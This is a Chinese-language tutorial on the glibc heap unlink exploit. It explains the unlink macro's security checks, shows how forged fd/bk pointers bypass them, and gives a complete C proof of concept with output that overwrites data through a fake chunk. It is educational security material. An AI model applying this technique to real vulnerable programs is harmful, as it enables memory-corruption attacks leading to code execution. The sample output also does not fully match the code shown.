1 概述
Heap unlink exploit
前提是要对ptmalloc堆有一定的了解。
2 Unlink宏
Unlink:用来将一个双向 bin 链表中的一个 chunk 取出来
参数:
AV:arena header(malloc_state)
P :将要unlink的chunk
BK:P后面的chunk <--
FD:P前面的chunk -->
具体过程如下:
将chunk从FD/BK链表中摘除;
如果是large chunk,则将chunk从fd_nextsize/bk_nextsize链表中摘除
安全检查
对于samll chunk,只有前两项检查;
对于large chunk,还有第三项检查;
检查项 | 说明 |
corrupted size vs. prev_size | Chunk size是否一致 Glibc-2.26开始增加此检查; 对于free chunk,有两个地方存放了chunk的大小: 一个是本chunk的size字段; 一个是nextchunk的prev_size字段; |
corrupted double-linked list | 链表指针是否一致 什么时候增加的此检查? 检查这两个条件: P->fd->bk == P P->bk->fd == P |
corrupted double-linked list (not small) | Large chunk链表是否一致 检查这两个条件: P->fd_nextsize->bk_nextsize == P P->bk_nextsize->fd_nextsize == P |
Glibc-2.26中的相关代码如下:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNvwVZ2x2bzNXak9CX90TQNNkRrFlQKBTSvwFbslmZvwFMwQzLcVmepNHdu9mZvwFVywUNMZTY18CX052bm9CX1Z0VhBTOXl1bwNjYxgnMMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2LcRHelR3LcJzLctmch1mclRXY39zMxkDOzQjM0ETMyUDM4EDMy8CX0Vmbu4GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.jpg)
3 classic unlink exploit
1. Unlink主要的操作是将chunk P从FD/BK链表中删除:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
更简单的描述,就是执行下面两条语句:
P->fd->bk = P->bk
P->bk->fd = P->fd
最初的时候,没有安全检查;
2. 溢出修改Chunk P
设置P->fd = A
设置P->bk = B
3. unlink P时会这样执行:
设置*(A+3*U) = B
设置*(B+2*U) = A
其中U = sizeof(void*)
4. 可以通过 unlink 实现任意地址写
A和B都是用户控制的地址
A+3*U的位置写入了B
B+2*U的位置写入了A
这里隐含的条件是A+3*P和B+2*P必须是可写的地址;
而且一次会修改两个位置,这意味着如果只想修改一个地方的话,会有副作用。
5. 应用场景:
改写got表项,最终造成任意代码执行
4 当前的unlink
1. Unlink的安全检查
对于small chunk,unlink有两个安全检查需要绕过:
l 大小检查
chunksize(P) == prev_size (next_chunk(P))
l FD/BK链表检查:
P->fd->bk == P
P->bk->fd == P
2. 绕过安全检查
假设溢出时这样修改Chunk P
设置P->fd = A
设置P->bk = B
则unlink P时,FD/BK链表检查要求:
*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P
*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P
3. 产生的结果
如果绕过了这个检查,则会产生这样的效果:
P->fd->bk = P->bk //赋值
=> *(A+3*U) = B //A+3*U地址处的值从P改为了B
P->bk->fd = P->fd //赋值
=> *(B+2*U) = A //B+2*U地址处的值从P改为了A
5 unlink exploit实例
本实例来自https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html
测试环境为Ubuntu 16.04
#include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h>
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[ 10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[ 20];
// First grab two chunks (non fast) chunk1 = malloc( 0x80); chunk2 = malloc( 0x80); printf( "%p \n ", &chunk1); printf( "%p \n ", chunk1); printf( "%p \n ", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = ( struct chunk_structure *)chunk1; fake_chunk-> fd = ( struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk-> bk = ( struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = ( struct chunk_structure *)(chunk2 - 2); chunk2_hdr-> prev_size = 0x80; // chunk1's data region size chunk2_hdr-> size &= ~ 1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf( "%p \n ", chunk1); printf( "%x \n ", chunk1[ 3]);
chunk1[ 3] = ( unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[ 0] = 0x002164656b636168LL;
printf( "%s \n ", data);
return 0; }
【程序说明】
Ø 首先分配了两个small chunk(chunk1 和chunk2),大小为0x80;
Ø 这里假设攻击者可以控制chunk1的内容(通过不安全的函数如strcpy等);
程序在chunk1的数据部分创建了一个假的chunk,绕过了FD/BK链表检查:
unsigned long long *chunk1;
struct chunk_structure *fake_chunk;
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3);
// Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2);
// Ensures P->bk->fd == P
chunk1指针本身位于栈中。
因此,我们找到了一个地址(&chunk1),存放的是chunk1;
为了满足FD/BK链表条件:
*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P
*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P
A(FD)和B(BK)可以这样设置:
A=&chunk1-3*U
B=&chunk1-2*U
Ø 溢出修改chunk2的头部,设置prev_size字段,清除size字段的prev_in_use比特。这可以确保chunk2被释放时,fake chunk被检测到已经被释放(freed),将被unlink;
Ø 内存布局如下图
Ø free(chunk2);
释放chunk2时,会和低地址的fake chunk合并,合并之前,攻击者的fake chunk会被unlink。
unlink会执行以下操作:
P->fd->bk = P->bk //赋值
=> *(A+3*U) = B //A+3*U地址处的值从P改为了B
P->bk->fd = P->fd //赋值
=> *(B+2*U) = A //B+2*U地址处的值从P改为了A
在这里的效果,就是:
*(&chunk1) = &chunk1-2*U
*(&chunk1) = &chunk1-3*U
也就是chunk1指针现在被修改为了&chunk1-3*U了
Chunk1[3] == chunk1 == &chunk1-3*U
内存分布如下:
Ø 攻击验证
现在我们修改chunk1[3]的值,就可以修改chunk1指针
这里将chunk1修改为data,修改chunk1的值就是修改data的值
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
Ø 测试结果
[email protected]:~/tmp/unlink$ ./a.out 0x7ffe9f7bce40 &chunk2=0x7ffe9f7bce48, &fake_chunk=0x7ffe9f7bce50, &chunk2_hdr=0x7ffe9f7bce58, data=0x7ffe9f7bce60 0x13bb010 0x13bb0a0 0x7ffe9f7bce28 0x7ffe9f7bce28 hacked! |
6 附件
7 结论
1. Unlink 的fd/bk链表检查
P->fd->bk = P->bk
P->bk->fd = P->fd
2. Unlink exploit
假设溢出时这样修改Chunk P
设置P->fd = A
设置P->bk = B
则unlink P时,FD/BK链表检查要求:
*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P
*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P
如果绕过了这个检查,则会产生这样的效果:
P->fd->bk = P->bk //赋值
=> *(A+3*U) = B //A+3*U地址处的值从P改为了B
P->bk->fd = P->fd //赋值
=> *(B+2*U) = A //B+2*U地址处的值从P改为了A
3. 一个unlink exploit实例
//待unlink的chunk地址存储在栈上
unsigned long long *chunk1;
因此,我们找到了一个栈地址(&chunk1),存放的是chunk1
A(FD)和B(BK)这样设置,可以绕过FD/BK链表检查:
A=&chunk1-3*U
B=&chunk1-2*U
unlink chunk1后:
*(&chunk1) = &chunk1-2*U
*(&chunk1) = &chunk1-3*U
也就是chunk1指针现在被修改为了&chunk1-3*U了
Chunk1[3] == chunk1 == &chunk1-3*U
8 参考文章
1. https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html
2. https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/